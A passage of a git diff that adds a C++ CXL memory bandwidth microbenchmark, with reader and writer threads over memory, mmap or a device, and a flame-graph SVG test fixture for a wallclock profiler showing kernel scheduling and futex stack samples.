ThreadStats& stats) { + std::vector local_buffer(block_size); + size_t offset = 0; + + while (!stop_flag.load(std::memory_order_relaxed)) { + // Read block from the mapped area + std::memcpy(local_buffer.data(), static_cast(mapped_area) + offset, block_size); + + // Move to next block with wrap-around + offset = (offset + block_size) % (file_size - block_size); + + // Update statistics + stats.bytes_processed += block_size; + stats.operations++; + } +} + +void mmap_writer_thread(void* mapped_area, size_t file_size, size_t block_size, + std::atomic& stop_flag, ThreadStats& stats) { + std::vector local_buffer(block_size, 'W'); // Fill with 'W' for writers + size_t offset = 0; + + while (!stop_flag.load(std::memory_order_relaxed)) { + // Write block to the mapped area + std::memcpy(static_cast(mapped_area) + offset, local_buffer.data(), block_size); + + // Move to next block with wrap-around + offset = (offset + block_size) % (file_size - block_size); + + // Update statistics + stats.bytes_processed += block_size; + stats.operations++; + } +} + +int main(int argc, char* argv[]) { + BenchmarkConfig config = parse_args(argc, argv); + + // Calculate reader and writer thread counts + int num_readers = static_cast(config.num_threads * config.read_ratio); + int num_writers = config.num_threads - num_readers; + + std::cout << "=== CXL Double Bandwidth Microbenchmark ===" << std::endl; + std::cout << "Buffer size: " << config.buffer_size << " bytes" << std::endl; + std::cout << "Block size: " << config.block_size << " bytes" << std::endl; + std::cout << "Duration: " << config.duration << " seconds" << std::endl; + std::cout << "Total threads: " << config.num_threads << std::endl; + std::cout << "Read ratio: " << config.read_ratio << " (" << num_readers << " readers, " + << num_writers << " writers)" << std::endl; + + if (!config.device_path.empty()) { + std::cout << "Device: " << config.device_path << std::endl; + std::cout << "Access method: " << (config.use_mmap ? "mmap" : "read/write") << std::endl; + std::cout << "Memory type: " << (config.is_cxl_mem ? "CXL memory" : "Regular device") << std::endl; + } else { + std::cout << "Using system memory for testing" << std::endl; + } + + std::cout << "\nStarting benchmark..." << std::endl; + + // Prepare threads and resources + std::vector threads; + std::vector thread_stats(config.num_threads); + std::atomic stop_flag(false); + + void* buffer = nullptr; + int fd = -1; + void* mapped_area = nullptr; + + try { + if (config.device_path.empty()) { + // Allocate memory buffer + buffer = aligned_alloc(4096, config.buffer_size); + if (!buffer) { + std::cerr << "Failed to allocate memory: " << strerror(errno) << std::endl; + return 1; + } + + // Initialize buffer with some data + std::memset(buffer, 'A', config.buffer_size); + + // Create reader and writer threads for memory + for (int i = 0; i < num_readers; i++) { + threads.emplace_back(reader_thread, buffer, config.buffer_size, + config.block_size, std::ref(stop_flag), + std::ref(thread_stats[i])); + } + + for (int i = 0; i < num_writers; i++) { + threads.emplace_back(writer_thread, buffer, config.buffer_size, + config.block_size, std::ref(stop_flag), + std::ref(thread_stats[num_readers + i])); + } + } else { + // Open the device + fd = open(config.device_path.c_str(), O_RDWR | O_DIRECT); + if (fd < 0) { + std::cerr << "Failed to open device " << config.device_path + << ": " << strerror(errno) << std::endl; + return 1; + } + + if (config.use_mmap) { + // Use mmap for device access + mapped_area = mmap(NULL, config.buffer_size, PROT_READ | PROT_WRITE, + MAP_SHARED, fd, 0); + if (mapped_area == MAP_FAILED) { + std::cerr << "Failed to mmap device: " << strerror(errno) << std::endl; + close(fd); + return 1; + } + + // Create reader and writer threads for mmap + for (int i = 0; i < num_readers; i++) { + threads.emplace_back(mmap_reader_thread, mapped_area, config.buffer_size, + config.block_size, std::ref(stop_flag), + std::ref(thread_stats[i])); + } + + for (int i = 0; i < num_writers; i++) { + threads.emplace_back(mmap_writer_thread, mapped_area, config.buffer_size, + config.block_size, std::ref(stop_flag), + std::ref(thread_stats[num_readers + i])); + } + } else { + // Use read/write for device access + for (int i = 0; i < num_readers; i++) { + threads.emplace_back(device_reader_thread, fd, config.buffer_size, + config.block_size, std::ref(stop_flag), + std::ref(thread_stats[i])); + } + + for (int i = 0; i < num_writers; i++) { + threads.emplace_back(device_writer_thread, fd, config.buffer_size, + config.block_size, std::ref(stop_flag), + std::ref(thread_stats[num_readers + i])); + } + } + } + + // Run the benchmark for the specified duration + auto start_time = std::chrono::steady_clock::now(); + std::this_thread::sleep_for(std::chrono::seconds(config.duration)); + stop_flag.store(true, std::memory_order_relaxed); + auto end_time = std::chrono::steady_clock::now(); + + // Wait for all threads to finish + for (auto& t : threads) { + if (t.joinable()) { + t.join(); + } + } + + // Calculate total stats + double elapsed_seconds = std::chrono::duration(end_time - start_time).count(); + size_t total_read_bytes = 0; + size_t total_read_ops = 0; + size_t total_write_bytes = 0; + size_t total_write_ops = 0; + + for (int i = 0; i < num_readers; i++) { + total_read_bytes += thread_stats[i].bytes_processed; + total_read_ops += thread_stats[i].operations; + } + + for (int i = 0; i < num_writers; i++) { + total_write_bytes += thread_stats[num_readers + i].bytes_processed; + total_write_ops += thread_stats[num_readers + i].operations; + } + + // Print results + std::cout << "\n=== Results ===" << std::endl; + std::cout << "Test duration: " << elapsed_seconds << " seconds" << std::endl; + + if (num_readers > 0) { + double read_bandwidth_mbps = (total_read_bytes / (1024.0 * 1024.0)) / elapsed_seconds; + double read_iops = total_read_ops / elapsed_seconds; + std::cout << "Read bandwidth: " << read_bandwidth_mbps << " MB/s" << std::endl; + std::cout << "Read IOPS: " << read_iops << " ops/s" << std::endl; + } + + if (num_writers > 0) { + double write_bandwidth_mbps = (total_write_bytes / (1024.0 * 1024.0)) / elapsed_seconds; + double write_iops = total_write_ops / elapsed_seconds; + std::cout << "Write bandwidth: " << write_bandwidth_mbps << " MB/s" << std::endl; + std::cout << "Write IOPS: " << write_iops << " ops/s" << std::endl; + } + + double total_bandwidth_mbps = ((total_read_bytes + total_write_bytes) / (1024.0 * 1024.0)) / elapsed_seconds; + double total_iops = (total_read_ops + total_write_ops) / elapsed_seconds; + std::cout << "Total bandwidth: " << total_bandwidth_mbps << " MB/s" << std::endl; + std::cout << "Total IOPS: " << total_iops << " ops/s" << std::endl; + + } catch (const std::exception& e) { + std::cerr << "Error: " << e.what() << std::endl; + } + + // Clean up resources + if (mapped_area && mapped_area != MAP_FAILED) { + munmap(mapped_area, config.buffer_size); + } + + if (fd >= 0) { + close(fd); + } + + if (buffer) { + free(buffer); + } + + return 0; +} \ No newline at end of file diff --git a/src/32-wallclock-profiler/tests/example.svg b/src/32-wallclock-profiler/tests/example.svg new file mode 100644 index 00000000..a63b142a --- /dev/null +++ b/src/32-wallclock-profiler/tests/example.svg @@ -0,0 +1,2830 @@ + + + + + + + + + + + + + + +Thread 1222177 (worker_3_1222177) + +Reset Zoom +Search +ic + + + +from_kgid_munged_[c] (1 samples, 0.05%) + + + +current_time (2 samples, 0.10%) + + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +[unknown]_[c] (2 samples, 0.10%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +handle_softirqs (1 samples, 0.05%) + + + +futex_wait_queue (166 samples, 8.16%) +futex_wait_.. + + +bpf_trace_run4 (3 samples, 0.15%) + + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (3 samples, 0.15%) + + + +sem_trywait_[c] (1 samples, 0.05%) + + + +mtree_alloc_cyclic (1 samples, 0.05%) + + + +futex_wait_queue (3 samples, 0.15%) + + + +file_update_time (4 samples, 0.20%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +vfs_read (1 samples, 0.05%) + + + +__dev_queue_xmit (1 samples, 0.05%) + + + +__schedule (3 samples, 0.15%) + + + +bpf_trace_run4 (3 samples, 0.15%) + + + +fstat (4 samples, 0.20%) + + + +schedule_hrtimeout_range (831 samples, 40.86%) +schedule_hrtimeout_range + + +irqentry_exit (1 samples, 0.05%) + + + +unlink (2 samples, 0.10%) + + + +[Missed Kernel Stack]_[c] (1 samples, 0.05%) + + + +sem_trywait_[c] (1 samples, 0.05%) + + + +schedule (165 samples, 8.11%) +schedule + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +syscall_exit_to_user_mode (1 samples, 0.05%) + + + +irqentry_exit (1 samples, 0.05%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (2 samples, 0.10%) + + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (2 samples, 0.10%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (3 samples, 0.15%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (2 samples, 0.10%) + + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +schedule (1 samples, 0.05%) + + + +futex_hash_[c] (1 samples, 0.05%) + + + +irqentry_exit (3 samples, 0.15%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +irqentry_exit (1 samples, 0.05%) + + + +wake_up_q_[c] (5 samples, 0.25%) + + + +__x64_sys_newfstat (2 samples, 0.10%) + + + +fstat_[c] (2 samples, 0.10%) + + + +__lll_lock_wait_private (212 samples, 10.42%) +__lll_lock_wait.. + + +__x64_sys_futex (201 samples, 9.88%) +__x64_sys_futex + + +do_syscall_64 (1 samples, 0.05%) + + + +__traceiter_sched_switch (831 samples, 40.86%) +__traceiter_sched_switch + + +security_file_permission_[c] (1 samples, 0.05%) + + + +fsubl_[c] (30 samples, 1.47%) + + + +sysvec_apic_timer_interrupt (27 samples, 1.33%) + + + +futex_wait_queue (1 samples, 0.05%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +bpf_trace_run4 (3 samples, 0.15%) + + + +_raw_spin_lock (1 samples, 0.05%) + + + +__schedule (27 samples, 1.33%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (3 samples, 0.15%) + + + +all (2,034 samples, 100%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +__schedule (6 samples, 0.29%) + + + +finish_task_switch.isra.0_[c] (37 samples, 1.82%) +f.. + + +__strcat_chk_[c] (224 samples, 11.01%) +__strcat_chk_[c] + + +get_futex_key_[c] (1 samples, 0.05%) + + + +irqentry_exit_to_user_mode (3 samples, 0.15%) + + + +sysvec_apic_timer_interrupt (2 samples, 0.10%) + + + +do_swap_page (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +mas_wr_store_entry (1 samples, 0.05%) + + + +entry_SYSCALL_64_after_hwframe (1 samples, 0.05%) + + + +simple_offset_remove (1 samples, 0.05%) + + + +schedule (3 samples, 0.15%) + + + +neigh_hh_output (1 samples, 0.05%) + + + +do_syscall_64 (1 samples, 0.05%) + + + +__traceiter_sched_switch (6 samples, 0.29%) + + + +irqentry_exit_to_user_mode (1 samples, 0.05%) + + + +irqentry_exit (1 samples, 0.05%) + + + +random_r_[c] (1 samples, 0.05%) + + + +irqentry_exit_to_user_mode (1 samples, 0.05%) + + + +__x64_sys_read (1 samples, 0.05%) + + + +__schedule (6 samples, 0.29%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (3 samples, 0.15%) + + + +futex_hash_[c] (1 samples, 0.05%) + + + +expf64_[c] (18 samples, 0.88%) + + + +sysvec_apic_timer_interrupt (6 samples, 0.29%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (2 samples, 0.10%) + + + +generic_update_time (2 samples, 0.10%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +futex_wait_queue (2 samples, 0.10%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +__schedule (14 samples, 0.69%) + + + +rw_verify_area (2 samples, 0.10%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (27 samples, 1.33%) + + + +do_softirq.part.0 (1 samples, 0.05%) + + + +irqentry_exit_to_user_mode (1 samples, 0.05%) + + + +vscanf (13 samples, 0.64%) + + + +irqentry_exit (27 samples, 1.33%) + + + +simulate_cpu_string_work (386 samples, 18.98%) +simulate_cpu_string_work + + +schedule (1 samples, 0.05%) + + + +do_syscall_64 (3 samples, 0.15%) + + + +_raw_spin_lock (9 samples, 0.44%) + + + +schedule (3 samples, 0.15%) + + + +__lll_lock_wake_private_[c] (1 samples, 0.05%) + + + +asm_sysvec_apic_timer_interrupt (3 samples, 0.15%) + + + +syscall_exit_to_user_mode (1 samples, 0.05%) + + + +do_syscall_64 (2 samples, 0.10%) + + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +schedule (3 samples, 0.15%) + + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (128 samples, 6.29%) +bpf_prog.. + + +native_queued_spin_lock_slowpath_[c] (9 samples, 0.44%) + + + +__x64_sys_poll (831 samples, 40.86%) +__x64_sys_poll + + +irqentry_exit (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (3 samples, 0.15%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +futex_wake (51 samples, 2.51%) +fu.. + + +schedule (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (831 samples, 40.86%) +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] + + +schedule (2 samples, 0.10%) + + + +__do_softirq (1 samples, 0.05%) + + + +inode_update_timestamps (2 samples, 0.10%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (6 samples, 0.29%) + + + +__schedule (3 samples, 0.15%) + + + +irqentry_exit_to_user_mode (2 samples, 0.10%) + + + +do_syscall_64 (202 samples, 9.93%) +do_syscall_64 + + +irqentry_exit (1 samples, 0.05%) + + + +__traceiter_sched_switch (2 samples, 0.10%) + + + +irqentry_exit (2 samples, 0.10%) + + + +apparmor_file_permission_[c] (1 samples, 0.05%) + + + +try_to_wake_up_[c] (1 samples, 0.05%) + + + +entry_SYSCALL_64_after_hwframe (3 samples, 0.15%) + + + +schedule (1 samples, 0.05%) + + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +wake_up_q (28 samples, 1.38%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +__x64_sys_futex (1 samples, 0.05%) + + + +futex_wait_setup_[c] (12 samples, 0.59%) + + + +irqentry_exit (2 samples, 0.10%) + + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +_init (3 samples, 0.15%) + + + +[Missed Kernel Stack]_[c] (9 samples, 0.44%) + + + +expf64 (1 samples, 0.05%) + + + +__x64_sys_futex (3 samples, 0.15%) + + + +fdget_raw_[c] (1 samples, 0.05%) + + + +__ip_finish_output (1 samples, 0.05%) + + + +__snprintf_chk (13 samples, 0.64%) + + + +bpf_trace_run4 (14 samples, 0.69%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +schedule (1 samples, 0.05%) + + + +futex_wait (3 samples, 0.15%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +asm_sysvec_apic_timer_interrupt (3 samples, 0.15%) + + + +shmem_unlink (1 samples, 0.05%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +shmem_get_folio_gfp_[c] (1 samples, 0.05%) + + + +schedule (1 samples, 0.05%) + + + +__schedule (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (2 samples, 0.10%) + + + +sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +x64_sys_call (1 samples, 0.05%) + + + +x64_sys_call (3 samples, 0.15%) + + + +irqentry_exit (3 samples, 0.15%) + + + +__schedule (831 samples, 40.86%) +__schedule + + +sendto (1 samples, 0.05%) + + + +do_futex (2 samples, 0.10%) + + + +ksys_write (11 samples, 0.54%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +read_tsc_[c] (1 samples, 0.05%) + + + +__traceiter_sched_switch (3 samples, 0.15%) + + + +schedule (1 samples, 0.05%) + + + +__schedule (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +__sys_sendto (1 samples, 0.05%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +x64_sys_call (2 samples, 0.10%) + + + +entry_SYSCALL_64_after_hwframe (3 samples, 0.15%) + + + +do_futex (201 samples, 9.88%) +do_futex + + +_raw_spin_unlock_irqrestore_[c] (26 samples, 1.28%) + + + +[Missed Kernel Stack]_[c] (6 samples, 0.29%) + + + +fsubl_[c] (155 samples, 7.62%) +fsubl_[c] + + +sem_trywait (14 samples, 0.69%) + + + +do_poll.constprop.0 (831 samples, 40.86%) +do_poll.constprop.0 + + +do_syscall_64_[c] (1 samples, 0.05%) + + + +do_user_addr_fault (1 samples, 0.05%) + + + +__futex_wait (2 samples, 0.10%) + + + +schedule (3 samples, 0.15%) + + + +irqentry_exit (1 samples, 0.05%) + + + +mas_topiary_replace_[c] (1 samples, 0.05%) + + + +asm_sysvec_apic_timer_interrupt (14 samples, 0.69%) + + + +bpf_trace_run4 (3 samples, 0.15%) + + + +asm_sysvec_apic_timer_interrupt (2 samples, 0.10%) + + + +fdget_pos_[c] (1 samples, 0.05%) + + + +sysvec_apic_timer_interrupt (6 samples, 0.29%) + + + +bpf_trace_run4 (3 samples, 0.15%) + + + +memcpy_[c] (27 samples, 1.33%) + + + +vfs_write_[c] (1 samples, 0.05%) + + + +asm_sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +schedule (2 samples, 0.10%) + + + +__schedule (1 samples, 0.05%) + + + +fsync (1 samples, 0.05%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +__futex_wait (201 samples, 9.88%) +__futex_wait + + +do_futex (76 samples, 3.74%) +do_f.. + + +syscall_exit_to_user_mode (2 samples, 0.10%) + + + +irqentry_exit_to_user_mode (6 samples, 0.29%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (14 samples, 0.69%) + + + +sysvec_apic_timer_interrupt (3 samples, 0.15%) + + + +__x64_sys_write (12 samples, 0.59%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (6 samples, 0.29%) + + + +[unknown]_[c] (3 samples, 0.15%) + + + +schedule (27 samples, 1.33%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (27 samples, 1.33%) + + + +irqentry_exit_to_user_mode (1 samples, 0.05%) + + + +down_write_[c] (1 samples, 0.05%) + + + +__schedule (1 samples, 0.05%) + + + +sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +do_syscall_64 (2 samples, 0.10%) + + + +generic_write_check_limits_[c] (1 samples, 0.05%) + + + +random (2 samples, 0.10%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +bpf_trace_run4 (2 samples, 0.10%) + + + +rand (369 samples, 18.14%) +rand + + +bpf_trace_run4 (831 samples, 40.86%) +bpf_trace_run4 + + +random_[c] (1 samples, 0.05%) + + + +asm_sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +pthread_condattr_setpshared (1,986 samples, 97.64%) +pthread_condattr_setpshared + + +do_futex (1 samples, 0.05%) + + + +irqentry_exit_to_user_mode (1 samples, 0.05%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (831 samples, 40.86%) +bpf_prog_f519f9b271c34c2a_sched_switch + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +irqentry_exit (1 samples, 0.05%) + + + +irqentry_exit (3 samples, 0.15%) + + + +__x64_sys_futex (3 samples, 0.15%) + + + +mas_alloc_cyclic (1 samples, 0.05%) + + + +__schedule (3 samples, 0.15%) + + + +[unknown] (1 samples, 0.05%) + + + +__lll_lock_wait_private (2 samples, 0.10%) + + + +entry_SYSCALL_64_after_hwframe (2 samples, 0.10%) + + + +simple_offset_add (1 samples, 0.05%) + + + +syscall_exit_to_user_mode_prepare_[c] (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (2 samples, 0.10%) + + + +expf64 (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (3 samples, 0.15%) + + + +memcpy (3 samples, 0.15%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +irqentry_exit_to_user_mode (6 samples, 0.29%) + + + +__schedule (1 samples, 0.05%) + + + +futex_wait_setup (23 samples, 1.13%) + + + +bpf_trace_run4 (1 samples, 0.05%) + + + +__lll_lock_wait_private (1 samples, 0.05%) + + + +irqentry_exit_to_user_mode (3 samples, 0.15%) + + + +do_syscall_64 (831 samples, 40.86%) +do_syscall_64 + + +native_queued_spin_lock_slowpath_[c] (1 samples, 0.05%) + + + +schedule (1 samples, 0.05%) + + + +generic_perform_write_[c] (1 samples, 0.05%) + + + +do_syscall_64_[c] (2 samples, 0.10%) + + + +__snprintf_chk_[c] (1 samples, 0.05%) + + + +__traceiter_sched_switch (3 samples, 0.15%) + + + +ktime_get_coarse_real_ts64_mg_[c] (1 samples, 0.05%) + + + +schedule (1 samples, 0.05%) + + + +asm_sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +futex_wait (1 samples, 0.05%) + + + +irqentry_exit (3 samples, 0.15%) + + + +irqentry_exit_to_user_mode (1 samples, 0.05%) + + + +shmem_file_write_iter (8 samples, 0.39%) + + + +udp_send_skb (1 samples, 0.05%) + + + +write (15 samples, 0.74%) + + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +wake_up_q (1 samples, 0.05%) + + + +x64_sys_call (12 samples, 0.59%) + + + +sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +__bpf_trace_sched_switch (3 samples, 0.15%) + + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +__x64_sys_sendto (1 samples, 0.05%) + + + +[Missed User Stack] (1 samples, 0.05%) + + + +__bpf_trace_sched_switch (831 samples, 40.86%) +__bpf_trace_sched_switch + + +try_to_wake_up (1 samples, 0.05%) + + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +__schedule (1 samples, 0.05%) + + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +ip_finish_output2 (1 samples, 0.05%) + + + +mas_wr_bnode (1 samples, 0.05%) + + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +__futex_queue (1 samples, 0.05%) + + + +__schedule (2 samples, 0.10%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (14 samples, 0.69%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (6 samples, 0.29%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +do_syscall_64_[c] (3 samples, 0.15%) + + + +sysvec_apic_timer_interrupt (14 samples, 0.69%) + + + +__lll_lock_wait_private_[c] (1 samples, 0.05%) + + + +sem_trywait (831 samples, 40.86%) +sem_trywait + + +bpf_trace_run4 (27 samples, 1.33%) + + + +inode_set_ctime_current_[c] (1 samples, 0.05%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +sysvec_apic_timer_interrupt (2 samples, 0.10%) + + + +irqentry_exit_to_user_mode (3 samples, 0.15%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (3 samples, 0.15%) + + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +x64_sys_call (1 samples, 0.05%) + + + +do_syscall_64 (3 samples, 0.15%) + + + +__schedule (1 samples, 0.05%) + + + +clone (1,986 samples, 97.64%) +clone + + +bpf_prog_f519f9b271c34c2a_sched_switch (3 samples, 0.15%) + + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +__netif_receive_skb (1 samples, 0.05%) + + + +__read (1 samples, 0.05%) + + + +entry_SYSCALL_64_after_hwframe (2 samples, 0.10%) + + + +udp_sendmsg (1 samples, 0.05%) + + + +__strtof128_nan_[c] (6 samples, 0.29%) + + + +__open (2 samples, 0.10%) + + + +irqentry_exit (6 samples, 0.29%) + + + +x64_sys_call (831 samples, 40.86%) +x64_sys_call + + +do_sys_poll (831 samples, 40.86%) +do_sys_poll + + +__futex_wait (3 samples, 0.15%) + + + +shmem_evict_inode_[c] (1 samples, 0.05%) + + + +__schedule (1 samples, 0.05%) + + + +__poll (831 samples, 40.86%) +__poll + + +bpf_prog_f519f9b271c34c2a_sched_switch (3 samples, 0.15%) + + + +__futex_unqueue_[c] (3 samples, 0.15%) + + + +sysvec_apic_timer_interrupt (3 samples, 0.15%) + + + +cp_new_stat (1 samples, 0.05%) + + + +path_openat (1 samples, 0.05%) + + + +__snprintf_chk_[c] (1 samples, 0.05%) + + + +do_syscall_64 (3 samples, 0.15%) + + + +schedule (1 samples, 0.05%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +__schedule (1 samples, 0.05%) + + + +try_to_wake_up (26 samples, 1.28%) + + + +asm_sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +mtree_range_walk_[c] (1 samples, 0.05%) + + + +__traceiter_sched_switch (3 samples, 0.15%) + + + +schedule (1 samples, 0.05%) + + + +__schedule (165 samples, 8.11%) +__schedule + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +irqentry_exit_to_user_mode (3 samples, 0.15%) + + + +do_filp_open (1 samples, 0.05%) + + + +__schedule (1 samples, 0.05%) + + + +mas_spanning_rebalance (1 samples, 0.05%) + + + +ktime_get_real_ts64_mg_[c] (1 samples, 0.05%) + + + +do_syscall_64 (1 samples, 0.05%) + + + +__strcat_chk (6 samples, 0.29%) + + + +asm_sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +handle_mm_fault (1 samples, 0.05%) + + + +vfs_fstat (1 samples, 0.05%) + + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (3 samples, 0.15%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (6 samples, 0.29%) + + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +x64_sys_call (2 samples, 0.10%) + + + +asm_sysvec_apic_timer_interrupt (1 samples, 0.05%) + + + +__napi_poll (1 samples, 0.05%) + + + +simulate_cpu_string_work_[c] (5 samples, 0.25%) + + + +__schedule (1 samples, 0.05%) + + + +random_r (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +__lll_lock_wake_private (91 samples, 4.47%) +__lll.. + + +__bpf_trace_sched_switch (2 samples, 0.10%) + + + +ip_output (1 samples, 0.05%) + + + +futex_wake_[c] (25 samples, 1.23%) + + + +entry_SYSCALL_64_after_hwframe (1 samples, 0.05%) + + + +asm_sysvec_apic_timer_interrupt (3 samples, 0.15%) + + + +bpf_trace_run4 (2 samples, 0.10%) + + + +schedule (6 samples, 0.29%) + + + +parse_printf_format (1 samples, 0.05%) + + + +plist_add_[c] (1 samples, 0.05%) + + + +x64_sys_call (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (1 samples, 0.05%) + + + +_raw_spin_unlock_irqrestore_[c] (1 samples, 0.05%) + + + +x64_sys_call (76 samples, 3.74%) +x64_.. + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (6 samples, 0.29%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (6 samples, 0.29%) + + + +schedule (1 samples, 0.05%) + + + +entry_SYSCALL_64_after_hwframe (1 samples, 0.05%) + + + +x64_sys_call (1 samples, 0.05%) + + + +__bpf_trace_sched_switch (14 samples, 0.69%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (1 samples, 0.05%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (1 samples, 0.05%) + + + +futex_wake_[c] (1 samples, 0.05%) + + + +[unknown] (1 samples, 0.05%) + + + +__bpf_trace_sched_switch (3 samples, 0.15%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch (3 samples, 0.15%) + + + +sysvec_apic_timer_interrupt (3 samples, 0.15%) + + + +do_syscall_64 (1 samples, 0.05%) + + + +__x64_sys_futex (76 samples, 3.74%) +__x6.. + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +futex_wait (201 samples, 9.88%) +futex_wait + + +do_futex (3 samples, 0.15%) + + + +bpf_prog_5de8bb2634f3b21a_handle_sched_switch_[o] (3 samples, 0.15%) + + + +_raw_spin_lock_irqsave_[c] (1 samples, 0.05%) + + + +futex_wake (2 samples, 0.10%) + + + +__traceiter_sched_switch (1 samples, 0.05%) + + + +__bpf_trace_sched_switch (1 samples, 0.05%) + + + +__traceiter_sched_switch (128 samples, 6.29%) +__tracei.. + + +simulate_cpu_math_work_[c] (74 samples, 3.64%) +simu.. + + +do_syscall_64_[c] (1 samples, 0.05%) + + + +bpf_prog_f519f9b271c34c2a_sched_switch (2 samples, 0.10%) + + + +__bpf_trace_sched_switch (6 samples, 0.29%) + + + +vfprintf_[c] (5 samples, 0.25%) + + + +mas_rebalance (1 samples, 0.05%) + + + +asm_sysvec_apic_timer_interrupt (27 samples, 